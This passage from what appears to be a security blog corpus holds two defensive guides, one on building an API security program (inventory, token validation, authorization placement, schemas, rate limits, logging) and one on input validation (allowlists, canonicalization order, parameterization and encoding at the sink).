- UNC5537 Targets Snowflake Customer Instances for Data Theft and Extortion (Google Cloud (Mandiant)): https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion
- Addressing Data Security Concerns (23andMe): https://www.23andme.org/blog/articles/addressing-data-security-concerns
- Protecting your Roku account (Roku): https://www.roku.com/blog/protecting-your-roku-account
- NIST SP 800-63B: Digital Identity Guidelines, Authentication and Authenticator Management (NIST): https://pages.nist.gov/800-63-4/sp800-63b.html
- Have I Been Pwned API v3: Pwned Passwords (Have I Been Pwned): https://haveibeenpwned.com/API/v3
- Credential stuffing: 2% success rate (The Register (reporting Shape Security research)): https://www.theregister.com/2017/01/17/credential_stuffing/
---
## API Security Best Practices: Building the Defensive Program
> How to secure an API end to end: inventory of shadow and zombie endpoints, token validation, where authorization decisions live, schema enforcement, rate-limit budgets, gateway placement, and the logs that catch what you missed.
- URL: https://blog.pwnsy.com/api-security-guide
- Date: 2026-08-25
- Updated: 2026-08-25
- Difficulty: intermediate
- Category: web-security
- Tags: api-security, appsec, authorization, owasp, api-gateway
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- Inventory first. Every other control is scoped to the endpoints you know about, so an API you never catalogued is an API with no controls on it at all.
- Authentication belongs at the edge and authorization belongs in the service that owns the data. A gateway can prove who is calling; only the service knows whether this caller owns this record.
- Enforce a request and response schema on every endpoint. A declared type per field is the cheapest control you can buy and it closes whole classes of malformed-input bugs in one auditable place.
- Rate limits are a budget, set per endpoint from observed legitimate usage, and expressed in the unit that actually costs you: requests, records returned, or query complexity.
- Log which subject was allowed to touch which object. A 200 that should have been a 403 is invisible in a log that records only method, path and status.
### Key Takeaways
- Reconcile your gateway's observed path templates against your OpenAPI spec on a schedule; the difference is your shadow and zombie API surface.
- Validate tokens against an explicit list: issuer, audience, signing algorithm allowlist, key ID against a cached JWKS, expiry, and the scope the endpoint requires.
- Centralize the authorization policy so it is auditable, and evaluate it inside the service that holds the ownership data so the decision has the facts it needs.
- Deprecation needs a date and an enforcement step. An endpoint marked deprecated in documentation and still answering requests is a live endpoint.
- Machine-to-machine traffic is where mutual TLS and short-lived, audience-restricted tokens do their best work, because there is no user to inconvenience.
### FAQ
**Q: What are the most important API security best practices?**
Maintain a complete inventory of every endpoint you expose, authenticate every request with a validated token or client certificate, authorize every object and action inside the service that owns the data, enforce a request and response schema on each endpoint, apply rate limits and quotas sized from real usage, terminate TLS everywhere including internal hops, and log the authorization decision on every call. The order matters: inventory scopes everything else, and authorization is where the expensive breaches happen.
**Q: What is a shadow API and how do I find one?**
A shadow API is an endpoint serving production traffic that is absent from your documentation, your specification, and your security testing scope. The reliable way to find one is to reconcile the path templates your gateway or load balancer actually observed over the last 30 days against the paths declared in your OpenAPI specification. Anything the gateway saw and the spec does not declare is shadow surface. Passive traffic analysis finds more than active scanning because it sees the routes clients genuinely call.
**Q: What is a zombie API?**
A zombie API is a deprecated version or endpoint that is still deployed and still answering requests. It is dangerous because it usually predates whatever authorization, validation, or rate-limiting improvements were made to the current version, and because nobody reviews it. Deprecation only takes effect when a version stops responding, so every deprecation needs a sunset date, a monitored traffic countdown, and a final shutdown.
**Q: Should authorization happen at the API gateway or in the service?**
Split it. The gateway handles authentication, coarse policy such as which client may reach which route, transport security, and rate limiting, because those decisions need no application data. Object-level and field-level authorization belong in the service, because only the service knows who owns record 1025 and which fields this role may set.
**Q: How should I set API rate limits?**
Size each limit from measurement rather than a round number. Take the per-client distribution for that endpoint over a representative period, set the ceiling above the 99th percentile of legitimate use with headroom, and count the unit that costs you: requests for cheap reads, records returned for list endpoints, and query complexity for GraphQL. Expensive operations take a daily quota instead of a per-minute rate. The algorithm, the key you count against and the response headers are covered in the rate limiting guide.
**Q: How do I secure internal, service-to-service APIs?**
Give each service its own identity with mutual TLS, issue short-lived tokens whose audience names the specific callee, authorize the calling service the same way you authorize a user, and keep internal endpoints off any ingress that resolves publicly. Internal APIs are the ones that most often assume the network is the boundary, which is exactly the assumption a server-side request forgery bug or a compromised pod removes.
An API security program is a small number of controls applied uniformly across every endpoint you expose. The failures are rarely exotic. They are one route that skipped the ownership check, one version that was deprecated in a document and never switched off, one field that arrives as an object where the code expected a string.
This guide covers the defensive side: how to build the inventory, where to put authentication and authorization, what a request schema buys you, how to size a rate limit from real numbers, which controls belong at the gateway, and what to log so a missed check is visible. The attack side lives elsewhere in the corpus. Object and function level authorization abuse is covered in [API Abuse Explained](/api-abuse-explained), token forgery and confusion in [JWT Attacks Explained](/jwt-attacks-explained), flow and redirect abuse in [OAuth Attacks Explained](/oauth-attacks-explained), browser-origin policy in [CORS Explained](/cors-explained), schema-level query abuse in [GraphQL Attacks Explained](/graphql-attacks-explained), and limiter algorithms, keys and 429 responses in [API Rate Limiting Explained](/rate-limiting-explained). This page assumes you have read or will read those and asks a different question: what does the defending team actually build.
## Start with the inventory, because everything else is scoped to it
Every control below applies to a list of endpoints. If the list is wrong, the coverage is wrong, and the gap is invisible in every report you generate. Three kinds of endpoint go missing.
**Shadow endpoints** serve production traffic and appear in no specification. They arrive from a hotfix that shipped a debug route, a mobile client that calls something the web client does not, a partner integration built under deadline, or a framework that auto-generates routes nobody declared.
**Zombie endpoints** are older versions still deployed and still answering. They predate your current authorization helpers, your current validation middleware, and your current logging. An attacker who finds `/api/v1/users/{id}` after you hardened `/api/v3` gets the pre-hardening behaviour.
**Third-party and internal endpoints** are the ones you did not write. A vendor SDK mounted at a path in your domain, an admin console on the same ingress, a metrics endpoint that leaks configuration.
The reliable discovery method is passive reconciliation rather than active scanning. Your gateway, load balancer, or service mesh already records every request that arrived. Aggregate a period of those logs into path templates, then diff against the paths your OpenAPI specification declares.
### A worked reconciliation
The method is a 30-day window of gateway access logs, with numeric and UUID segments normalized to a placeholder and distinct templates counted. The figures below are a constructed illustration of the shape that diff takes on a mid-sized product API, not measurements from a named system.
| Source | Distinct path templates |
|---|---|
| Observed in gateway logs, 30 days | 412 |
| Declared in the OpenAPI 3.1 specification | 261 |
| Raw difference | 151 |
| Of which: method or trailing-slash variants of a declared path | 96 |
| Genuinely undeclared surface | 55 |
Now classify the 55. In this illustration, 31 belong to a `v1` that was documented as deprecated two years ago and still serves 4,200 requests a day, mostly from one mobile build that was never forced to upgrade. Eighteen are internal administrative routes that a shared ingress made publicly resolvable, and they were only ever protected by the assumption that nobody outside the office would find them. Six are debug or health routes, of which two return build metadata including dependency versions and a hostname.
That table is the whole program in miniature. The 31 zombie routes need a sunset with an enforced date, the one the failure modes below describe. The 18 internal routes need to come off the public ingress and get their own authentication path. The 6 debug routes need to be removed or authenticated. None of that work is hard. Not knowing they existed is what made them dangerous, and the same reconnaissance techniques described in the [OSINT reconnaissance guide](/osint-reconnaissance-guide), certificate transparency logs, JavaScript bundle analysis, mobile app decompilation, are what an outsider uses to build the same list from outside your perimeter.
Run the reconciliation on a schedule and fail loudly when the undeclared count grows. A weekly job that diffs observed templates against the committed specification turns inventory from a project into a metric. Teams that do this once during an audit are back to an unknown surface within a quarter.
## Authentication: prove the caller, at the edge
Authentication answers one question per request and should be answered once, consistently, before the request reaches business logic. Pick the credential type by caller.
| Caller | Credential | Notes |
|---|---|---|
| Browser front end | Short-lived access token from an OIDC provider, refresh handled by the auth layer | Cookie storage with `HttpOnly`, `Secure`, `SameSite` where the token rides a cookie |
| Mobile app | OAuth 2.0 authorization code with PKCE, short-lived access token | Never embed a high-privilege key in a binary the user controls |
| Partner server | Client credentials grant, or mutual TLS client certificate | Audience-restricted token naming your service |
| Internal service | Mutual TLS plus a short-lived, audience-restricted token | Identity per workload, not per cluster |
| Automation and scripts | Scoped API key with an expiry and a named owner | Rotate on schedule and immediately on exposure |
The flow mechanics live in [OAuth 2.0 Explained](/oauth-2-explained) and the identity-protocol comparison in [SAML vs OAuth vs OIDC](/saml-vs-oauth-vs-oidc). What matters for the defensive build is the validation, because a token you accept without checking is a token an attacker can supply.
### The token validation checklist, with values
Validating a JWT access token means running an explicit list of checks and failing closed on any of them. Written out with real values for a service called `orders-api`:
```
1. Signature verifies against a key from the issuer's JWKS
jwks_uri: https://login.example.com/.well-known/jwks.json
cache TTL: 900 seconds, refresh on unknown kid, rate-limited to 1 refresh / 60s
2. alg is in the allowlist {RS256, ES256} -> reject "none"; this issuer signs
asymmetrically, so reject HS*
3. kid names a key currently published in the JWKS
4. iss == "https://login.example.com/" -> exact string match, trailing slash included
5. aud contains "https://api.example.com/orders"
6. exp > now -> clock skew tolerance 60s, no more
7. nbf <= now + 60s
8. iat is not further in the past than the max token lifetime you issue (900s)
9. scope contains "orders:read" for GET, "orders:write" for POST/PATCH/DELETE
10. sub is present and maps to an active principal
```
Two lines carry most of the weight. Line 2 pins the algorithm to what you expect, which closes the algorithm-confusion family described in [JWT Attacks Explained](/jwt-attacks-explained) and mandated by RFC 8725. Line 5 pins the audience, so a token minted for the marketing API cannot be replayed against the orders API. A surprising number of production services verify the signature and the expiry and skip both.
For mutual TLS, the equivalent list is: the client certificate chains to your private CA, the certificate is not on the current revocation list, the subject or SAN maps to a known workload identity, and the certificate lifetime is short enough that revocation lag is bounded. The mechanics are in [What Is mTLS](/what-is-mtls), and machine-to-machine traffic is where it fits best because there is no human enrollment cost.
## Authorization: centralize the policy, decide inside the service
Every check in the previous section establishes who is calling and which broad scopes they hold. Whether this caller may read order 1025 is a separate decision, and it is where the expensive breaches happen. The design question is where that decision lives. Object-level and function-level authorization failures as attacks, along with excessive data exposure, are covered in [API Abuse Explained](/api-abuse-explained).
Three placements, with the tradeoff each one buys:
**In the handler.** Each endpoint writes its own check. Simple to start, impossible to audit across a surface of 400 route templates, and the failure mode is silent: a new endpoint ships without a check and nothing complains.
**In a shared middleware or decorator.** Every route declares the permission it requires and the framework refuses to serve a route that declares nothing. This is the biggest single improvement available to most codebases, because it converts "hope every handler checks" into "the router will not start with an undeclared route". It handles function-level authorization well. Object-level authorization stays out of its reach, because the middleware runs before the object is loaded.
**In a policy engine with a service-side data fetch.** The policy is written once, in a declarative language, and evaluated with the attributes the service supplies: the subject, the action, the resource, the resource owner, the tenant. The policy is auditable in one place and the decision still happens where the ownership data is.
The practical shape for most teams is the second and third together. Declare the required permission on every route so nothing ships unguarded, then perform the object-level check immediately after loading the object and before returning it:
```
order = repo.load(order_id) # load first
authorize(subject, "orders:read", order) # then decide, using order.tenant_id and order.owner_id
return serialize(order, fields_for(subject.role))
```
Note the third line. Field-level shaping belongs in the same place, because the role that may read an order is often not the role that may read the card fingerprint on it. Serializing the whole record and trusting the client is the read side of the property-level failure, and binding the whole request body onto the record is the write side, covered in [Mass Assignment Explained](/mass-assignment-explained). Bind an explicit list of writable fields per role and the class closes.
Scope the permissions themselves with [least privilege](/least-privilege-explained): `orders:read` for one tenant is a far smaller prize than a token that can call every endpoint. Tenant isolation deserves its own line in the policy, evaluated on every query, because a cross-tenant read is the finding that turns a single-customer incident into a regulatory one.
## Schema validation on the way in and on the way out
A request schema is the cheapest control in this guide. Declaring that `quantity` is an integer between 1 and 500 and that `email` is a string of at most 254 characters costs one line each and closes a long tail of bugs before any handler runs.
Enforce four things at the edge:
1. **Types.** The single most valuable check, because it stops a structure arriving where a scalar belongs. A field declared as a string can never carry the operator object that drives NoSQL injection.
2. **Bounds.** Maximum body size, maximum array length, maximum string length, maximum nesting depth. Depth limits matter for JSON and matter more for XML, where an unbounded parser is the [XXE injection](/xxe-injection-explained) surface.
3. **Unknown fields.** Reject them by default. Silently ignoring an unrecognized field is how a client discovers that `is_admin` is accepted somewhere down the stack.
4. **Content type.** Accept the one type the endpoint parses. An endpoint that will happily parse XML because a library supports it has an attack surface its authors never considered, and the same reasoning applies to any endpoint that deserializes objects, as [insecure deserialization](/insecure-deserialization-explained) sets out.
Response schemas are worth the extra effort on any endpoint that returns user data, because they catch the field you added to the database model in a hurry and never meant to publish. A contract test that fails when a response contains a field the schema does not declare is a leak detector.
The field-level rules, allowlists, canonicalization order, and where encoding belongs, are covered in the [input validation guide](/input-validation-guide). Do not duplicate that logic per handler; put the schema at the boundary and let each handler assume the shape.
## Rate limits and quotas as a budget
A rate limit is a budget for one endpoint, sized from the traffic that endpoint actually sees. Pull the per-client distribution, set the ceiling above the 99th percentile of legitimate use with headroom, and give the one integration partner sitting far above that line a documented higher tier rather than lifting the ceiling for everyone. The unit matters as much as the number: requests for cheap reads, records returned for list endpoints, since one request with `limit=1000` costs what a thousand requests cost, query complexity for GraphQL, and a daily quota for expensive operations such as report generation or bulk export. Limiter algorithms, the key you count against, the rollout sequence and the response headers are covered in [API Rate Limiting Explained](/rate-limiting-explained).
A rate limit bounds the damage from a missing ownership check without replacing it, because the first request still leaks the record it reaches. Treat limits as the control that turns a leak into a slow leak and buys the time to find it.
## Where each control belongs
Gateways are useful because they make a control uniform across every service behind them. They are misleading when a team assumes the gateway is handling something it structurally cannot.
| Control | Gateway | Service | Why |
|---|---|---|---|
| TLS termination and cipher policy | Yes | Internal hop too | One place to enforce TLS 1.2 minimum and HSTS |
| Token signature, issuer, audience, expiry | Yes | Re-verify | Cheap to verify twice, and the service may be reachable directly |
| Route-level access (which client may reach which path) | Yes | No | Needs no application data |
| Object-level authorization | No | Yes | Only the service knows who owns the record |
| Field-level read and write shaping | No | Yes | Depends on role and on the loaded object |
| Request schema and size caps | Yes | Yes | Gateway for coarse caps, service for business rules |
| Rate limiting and quotas | Yes | Yes for cost-based | Gateway sees all traffic, service knows query cost |
| CORS policy | Yes | Consistent | One allowlist beats per-service drift, see [CORS Explained](/cors-explained) |
| Security headers | Yes | Yes | Reference list in [HTTP Security Headers](/http-security-headers-reference) |
| Audit logging of decisions | Partial | Yes | The gateway logs the status; the service knows the decision |
Two structural rules go with that table. First, make the gateway the only path in. A service reachable on its pod IP or an internal load balancer that a compromised neighbour can call has all of the gateway's controls bypassed, which is the point [network segmentation](/network-segmentation-guide) makes for API infrastructure. Second, keep internal APIs off any ingress that resolves publicly, since a server-side request forgery bug in one public service turns your internal API into a public one, as [SSRF Explained](/ssrf-explained) shows in detail.
## Log the authorization decision
Most API logs record method, path, status, and latency. That set cannot tell you about the request that succeeded and should not have, because a wrongly-permitted read returns 200 exactly like a correct one.
Add four fields to every request log line:
- **Subject identity**, the `sub` claim or workload identity, never the raw token.
- **Resource identifier**, the object the request touched.
- **Tenant or owner of that resource**, so a cross-tenant access is a comparison rather than an investigation.
- **Authorization outcome and the rule that produced it**, so a policy change can be traced to the behaviour it altered.
With those, three detections become straightforward: a subject whose tenant differs from the resource tenant on a 200 response, a subject sweeping ascending resource identifiers, and a subject reaching an endpoint whose required permission it has never held before. Feed them into the process described in the [threat hunting guide](/threat-hunting-guide) rather than leaving them as dashboard panels nobody opens.
Keep secrets out of the logs. Tokens, keys, `Authorization` headers, and request bodies on auth endpoints belong in a redaction list that is tested, because a log aggregator is usually readable by more people than the database is.
## The failure modes
**Deprecation without a shutdown date.** A version marked deprecated in the documentation and still answering requests is a live version with a stale codebase. Give every deprecation a date, a `Sunset` header, a traffic countdown you watch, and a final switch-off. The 31 zombie routes in the reconciliation above existed because step four never happened.
**Documentation as the inventory.** The specification records what the team meant to ship. Traffic records what it shipped. Reconcile them or the inventory is fiction.
**Authorization tested with one account.** A test suite that logs in as one user and asserts 200 will pass on an API with no ownership checks at all. Every authorization test needs a second account and an assertion that user B receives 403 on user A's object.
**Keys with no owner and no expiry.** An API key issued in 2022 to an integration that was decommissioned in 2023 is a valid credential nobody is watching. Every key needs a named owner, an expiry, and a scope narrower than "everything".
**Trusting the network.** Internal, east-west, behind-the-VPN and same-cluster all describe where a request came from. Authorization is a separate decision that still has to be made on each request. NIST SP 800-207 makes the same point at architecture level: verify each request rather than the network position it arrived from.
**Assuming the gateway did it.** Read the gateway configuration and confirm which controls are enabled on each route, rather than which controls the product supports.
## The verdict
If you do four things and nothing else, do these. Build a real inventory by reconciling traffic against your specification, and run it on a schedule. Validate tokens against the full checklist, with the audience and algorithm pinned. Declare a required permission on every route so nothing ships unguarded, and make the object-level check happen next to the object load. Put a schema on every endpoint.
Those four cover the surface that the OWASP API Security Top 10 keeps at the top edition after edition, and they scale: each one is a property you can assert about every endpoint on the observed surface rather than a review you perform on one. The remaining work, rate-limit budgets, gateway placement, decision logging and deprecation with teeth, is what keeps the four honest as the surface grows.
## Frequently asked questions
**How often should the API inventory be refreshed?**
Continuously if your gateway logs allow it, weekly at minimum. The undeclared-endpoint count is a useful metric to trend, because it rises quietly during fast delivery periods and a threshold alert catches the drift before an audit does.
**Is an OpenAPI specification a security control?**
It becomes one when it is enforced. A specification that only generates documentation is a description. A specification that a gateway or middleware uses to reject undeclared paths, unknown fields, and out-of-range values is a control, and it is the same file doing both jobs.
**Do internal APIs need the same controls as public ones?**
They need authentication, authorization and logging for the same reasons. What changes is the credential type, since mutual TLS and workload identity are practical between services and impractical for consumer browsers, and the rate-limit shape, since internal callers have predictable volumes that make anomaly detection easier.
**How do I secure an API that has to serve anonymous traffic?**
Split the surface. Anonymous endpoints get strict rate limits by IP and by fingerprint, aggressive caching, minimal response fields, and no capability to mutate state. Everything that touches user data sits behind authentication. The mistake to avoid is one handler that serves both cases and decides which to be based on whether a token happened to be present.
**What is the difference between an API key and an access token?**
An API key is a long-lived shared secret that identifies a client and usually carries a fixed scope. An access token is short-lived, issued by an authorization server, carries claims about subject, audience and scope, and retires itself at expiry, so short lifetimes limit the damage even where no revocation mechanism exists. Keys are simpler to issue and worse to leak, so restrict them to server-side automation with a named owner, a scope, and rotation.
**Where does WebAuthn fit in API security?**
At the human authentication step that precedes token issuance rather than on the API calls themselves. A phishing-resistant login, as described in [WebAuthn Explained](/webauthn-explained), raises the cost of stealing the session that mints the tokens. The API still validates the token it receives.
## Related guides
- [API Abuse Explained](/api-abuse-explained)
- [JWT Attacks Explained](/jwt-attacks-explained)
- [OAuth Attacks Explained](/oauth-attacks-explained)
- [GraphQL Attacks Explained](/graphql-attacks-explained)
- [Input Validation Best Practices](/input-validation-guide)
- [Secure Coding Practices](/secure-coding-practices)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
- [API Rate Limiting Explained](/rate-limiting-explained)
- [What Is mTLS](/what-is-mtls)
- [Webhook Signature Verification](/webhook-signature-verification)
- [Leaked API Keys Explained](/leaked-api-keys-explained)
### Sources
- OWASP API Security Top 10 (2023) (OWASP): https://owasp.org/API-Security/editions/2023/en/0x11-t10/
- OWASP REST Security Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html
- NIST SP 800-204: Security Strategies for Microservices-based Application Systems (NIST): https://csrc.nist.gov/pubs/sp/800/204/final
- NIST SP 800-207: Zero Trust Architecture (NIST): https://csrc.nist.gov/pubs/sp/800/207/final
- RFC 9700: Best Current Practice for OAuth 2.0 Security (IETF): https://www.rfc-editor.org/rfc/rfc9700
- RFC 8725: JSON Web Token Best Current Practices (IETF): https://www.rfc-editor.org/rfc/rfc8725
- RFC 6749: The OAuth 2.0 Authorization Framework (IETF): https://www.rfc-editor.org/rfc/rfc6749
- OpenAPI Specification 3.1.0 (OpenAPI Initiative): https://spec.openapis.org/oas/v3.1.0.html
---
## Input Validation Best Practices: Allowlists, Canonicalization & Encoding
> How to build input validation that holds: allowlist rules by field, canonicalize before you check, and encode at the sink. With the failure modes that quietly defeat each one.
- URL: https://blog.pwnsy.com/input-validation-guide
- Date: 2026-08-25
- Updated: 2026-08-25
- Difficulty: intermediate
- Category: web-security
- Tags: input-validation, web-security, owasp, appsec, secure-coding
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- Write validation as an allowlist: a declared type, length, character set or format, range, and where possible a fixed set of permitted values. Reject everything else and log the rejection.
- Order matters. Decode and canonicalize to one normal form first, then validate, then pass the value to its sink through a parameterized or context-encoded API. Validating before the last decode is the classic bypass.
- Validation alone never fixes injection. It narrows what an attacker can send; parameterization and context-correct encoding are what keep data out of the instruction stream.
- The common failures are blocklists, unanchored or line-anchored regexes, a decode that happens after the check, Unicode normalization applied downstream, and validating a value once then trusting it forever.
### Key Takeaways
- Positive validation (state what is allowed) survives new attack syntax; negative validation (list what is banned) breaks the first time an encoding you did not think of appears.
- Canonicalize once, at the boundary, then validate the canonical form. Any decode, normalization, or path resolution that happens after your check can reintroduce exactly what you rejected.
- A Ruby or Python regex anchored with ^ and $ can accept a trailing newline and a second line of attacker text; use \A and \z, or a full-match API, on every security regex.
- Validation belongs at the trust boundary and encoding belongs at the sink, so the same value gets checked once for shape and encoded differently for HTML, SQL, a shell, LDAP, or a URL.
### FAQ
**Q: What are input validation best practices?**
Define each field by an allowlist: expected type, minimum and maximum length, permitted character set or exact format, numeric range, and a fixed set of values where one exists. Canonicalize the input to a single normal form before you check it, run the check server-side, reject rather than repair, and pass the value to its destination through a parameterized or context-encoding API. Validation constrains the input; parameterization and encoding are what actually prevent injection.
**Q: What is the difference between an allowlist and a blocklist in input validation?**
An allowlist declares the complete set of acceptable inputs and rejects everything outside it. A blocklist enumerates known-bad patterns and accepts everything else. Allowlists fail closed against syntax you have never seen, which is why they hold as encodings and payload styles change. Blocklists require you to have anticipated every representation of an attack, including alternate encodings, Unicode equivalents, and case variants, and they break silently when one is missed.
**Q: Should I validate input before or after decoding it?**
After. Decode and canonicalize first, then validate the canonical form, then use it. If you validate a value that is still encoded, a later decoding step can turn a string you accepted into a string you would have rejected. Keep decoding until decoding changes nothing, and make sure no layer between your check and the sink decodes or normalizes again.
**Q: Does input validation prevent SQL injection?**
No. It reduces the surface and it catches malformed data, and a query built by concatenating a validated string is still a query whose structure the input can influence. Parameterized queries keep the value out of the SQL grammar entirely, which is the control that actually closes the class. Treat validation as the check that the value is the right shape and parameterization as the check that it can never become code.
**Q: Where should validation run in an application?**
Server-side, at every trust boundary the data crosses: the HTTP edge, the service boundary between internal systems, and immediately before any call that interprets the value. Client-side validation is a user-experience feature and provides no guarantee, because an attacker sends requests directly.
**Q: What is canonicalization and why does it matter for validation?**
Canonicalization reduces the many possible representations of a value to one agreed form: percent-decoded, Unicode-normalized, path-resolved, case-folded where appropriate. It matters because a check compares strings, and an attacker who supplies a different representation of the same value walks past a check that only ever saw the surface form. Canonicalize once, then validate what came out.
Every injection bug write-up ends at the same instruction: validate your input. The instruction is right and it is also the least specific advice in application security, because "validate" covers at least four different jobs that run in different places, in a required order, and with different failure modes. Getting the order wrong is itself a documented weakness class ([CWE-180](https://cwe.mitre.org/data/definitions/180.html), validate before canonicalize), and it is why applications with a validation layer still get exploited.
This guide is about building the checks. It covers what an allowlist rule for a field actually contains, where canonicalization has to sit relative to the check, which control belongs at which boundary, and the specific ways each one fails in production. It does not re-explain the attacks: [SQL injection](/sql-injection-explained), [command injection](/command-injection-explained), [path traversal](/path-traversal-explained), [NoSQL injection](/nosql-injection-explained) and [server-side template injection](/server-side-template-injection-explained) each have their own page.
## The four jobs people call "validation"
Separating these makes the rest of the guide readable, because most arguments about validation are two people describing different controls.
| Control | Question it answers | Where it runs | What it stops on its own |
|---|---|---|---|
| Syntactic validation | Is this value the right type, length, and shape? | Trust boundary, on arrival | Malformed data, wrong-type payloads, oversized input |
| Semantic validation | Is this value meaningful for this operation right now? | Domain layer, with context | Values that are well-formed and wrong (a past date, someone else's account id) |
| Parameterization | Can this value influence the structure of a statement? | At the sink, in the driver or API | Injection into the interpreter that API talks to |
| Output encoding | Will this value be misread by the parser that receives it? | At the sink, per destination | Cross-context misinterpretation, such as HTML or LDAP metacharacters |
Sanitization is a fifth thing, and it is the one to be careful with. Sanitizing means changing the input to make it acceptable rather than rejecting it. It is legitimate for exactly one situation: input that must legitimately carry rich markup, such as a comment body that permits HTML, where a mature parser-based library rewrites the document into a known-safe subset. Everywhere else, rejection is the correct response, because a repair step is a transformation, and any transformation applied after your check is a chance to produce a string you never validated.
## Build the rule as an allowlist
An allowlist rule is a positive specification: this is the complete set of acceptable values, and everything outside it is rejected. Write it as five layered constraints, from cheapest to most specific, and stop at the tightest one that fits the field.
1. **Type.** The value is a string, an integer, a boolean, an array of strings. Declare it once in a request schema at the edge so every handler can assume the shape, rather than re-checking types per controller; the [API security guide](/api-security-guide) covers the schema layer as a whole. Pinning the type closes the operator-injection path described in the [NoSQL injection guide](/nosql-injection-explained), because an object can never stand in for a password string if the schema says the field is a string.
2. **Length or size.** Minimum and maximum, in the unit the downstream code counts in. A username is 3 to 32 characters. An uploaded file is at most 5 MB. Bounds also cap the cost of every check that follows.
3. **Character set or format.** Either an explicit set of permitted characters, or a named format with a real parser behind it (an email address, a UUID, an RFC 3339 timestamp, an IPv4 address). Prefer a library parser over a regex whenever the format has a specification.
4. **Range and precision.** For numbers, the minimum and maximum the business allows plus the number of decimal places. This is also where you keep values inside the width of the integer type they will land in, which is the input-side half of the problem described in [integer overflow](/integer-overflow-explained).
5. **Membership in a fixed set.** The strongest rule available. If a field can only be `pdf`, `csv`, or `xlsx`, compare it against those three values and reject anything else. No pattern matching, no escaping, no ambiguity.
Rule 5 beats rule 3 whenever you can reach it, and you can reach it more often than it first appears. The path traversal case is the clearest example: rather than validating a filename against a character set, map an opaque identifier the user supplies to a server-side filename you control, so no user-supplied text ever touches a filesystem call. When that indirection is impossible, fall back to a strict character set plus an extension allowlist, then resolve and confine the path, which is the pattern the [path traversal guide](/path-traversal-explained) sets out.
When a value fails, reject the request and log the field name, the rule that failed, and a request identifier. Do not log the value itself unless you have decided it is safe to store. Stripping the offending characters and continuing produces a value that never passed a check, and it hides an attack that your logs should have shown you.
### A worked field specification
Take a hostname a user submits so the application can check whether a host is reachable. The full rule, written out:
| Constraint | Value |
|---|---|
| Type | string |
| Length | 1 to 253 characters |
| Format | labels of `[a-z0-9]` and internal hyphens, separated by dots, each label 1 to 63 characters |
| Normalization | lowercased, IDNA-encoded to ASCII before checking |
| Rejected explicitly | leading or trailing dot, leading hyphen in a label, any character outside the set, any whitespace including newlines |
| Sink | argument array, no shell |
The last row is the one that carries the weight. Every row above it narrows what an attacker can send. The last row is what makes a breakout impossible, and the [command injection guide](/command-injection-explained) explains why the shell is the interpreter that has to be removed.
## Canonicalize first, then validate, then use
A check compares strings. An attacker who can express the same value in a representation your check has not seen walks straight past it. The fix is an order of operations that never varies:
```
receive -> decode fully -> normalize -> validate -> pass to sink via safe API
```
"Decode fully" means keep decoding until decoding changes nothing, and then confirm the result is well-formed. "Normalize" means one Unicode normalization form, one case fold where the field is case-insensitive, one resolved absolute path where the value is a path.
Going out of order costs you the check. A validator that inspects a value while it is still encoded is comparing against a string no downstream component will ever see, and each later decoding pass can rebuild the exact sequence you rejected. Double-encoded path payloads are the best-documented instance of this, and the [path traversal guide](/path-traversal-explained) walks that case through decode by decode. The same shape appears with overlong UTF-8 sequences, with malformed encodings that lenient decoders still accept, and with a mixed-case value compared before case folding.
Unicode normalization is the version of this that catches people who have already learned the percent-encoding lesson. NFKC compatibility normalization maps the fullwidth character `<` (U+FF1C) to the ASCII `<` and expands the ligature `fi` (U+FB01) to `fi`, neither of which NFC or NFD touch. Canonical normalization has its own folds: the Kelvin sign `K` (U+212A) becomes an ASCII `K` under NFC and NFD as well, because it carries a canonical decomposition. So no form is inert. If your validator sees one representation and your templating layer or database normalizes afterwards, you validated one string and used another. Normalize at the boundary, pick one form (NFC for storage and comparison, NFKC where you deliberately want compatibility folding), apply it before the check, and never let a later layer normalize again.
Your validator is only as good as the guarantee that nothing after it transforms the value. Trace every value from the check to the sink and list the transformations in between: URL decoding, HTML entity decoding, Unicode normalization, path resolution, JSON parsing of a nested string, a template engine's own unescaping. Every one of them is a place where a rejected string can be reconstructed.
## Why validation alone never closes injection
Injection is a grammar problem. Somewhere a string is handed to a parser that will decide which parts of it are data and which parts are instructions. Validation changes which strings can arrive. The parser still makes the data-or-instruction decision at parse time, on whatever string reaches it.
Consider a search query field on a product catalogue. Users legitimately type apostrophes (`O'Brien`), quotes, and Unicode punctuation. There is no character set you can allowlist that both serves the feature and excludes every string that could alter a SQL statement built by concatenation. Escaping is not a way out either: the escaping rules differ by database, by character set, and by whether the value lands inside a quoted literal, an identifier, or a `LIKE` pattern, and getting one of those contexts wrong reopens the hole.
Parameterization removes the decision. The value travels to the database as a bound parameter, outside the statement text, so the parser never sees it as grammar. The same structure applies everywhere:
| Sink | The control that closes the class | Validation's remaining job |
|---|---|---|
| SQL database | Bound parameters ([SQL injection](/sql-injection-explained)) | Type, range, and length so the query is sane |
| Document database | Typed values through the driver ([NoSQL injection](/nosql-injection-explained)) | Pin every field to a primitive type at the edge |
| Operating system | Argument array, no shell ([command injection](/command-injection-explained)) | Format check, plus stop values that pose as options |
| Template engine | Pass data as context, never compile user text ([SSTI](/server-side-template-injection-explained)) | Nothing user-supplied reaches the template source |
| HTML document | Context-aware output encoding ([XSS](/xss-attacks-explained)) | Length and shape only; encoding does the work |
| Directory service | Escaping per the filter grammar ([LDAP injection](/ldap-injection-explained)) | Allowlist the attribute values |
| XML parser | External entities disabled ([XXE](/xxe-injection-explained)) | Schema validation of the document |
| Filesystem | Resolve and confine under a base directory ([path traversal](/path-traversal-explained)) | Map identifiers to server-side names |
Read the middle column as the fix and the right column as the reason to still validate. Validation catches malformed data, enforces business rules, produces useful rejections in logs, and shrinks the space an attacker can explore. It sits alongside the sink-level control rather than replacing it.
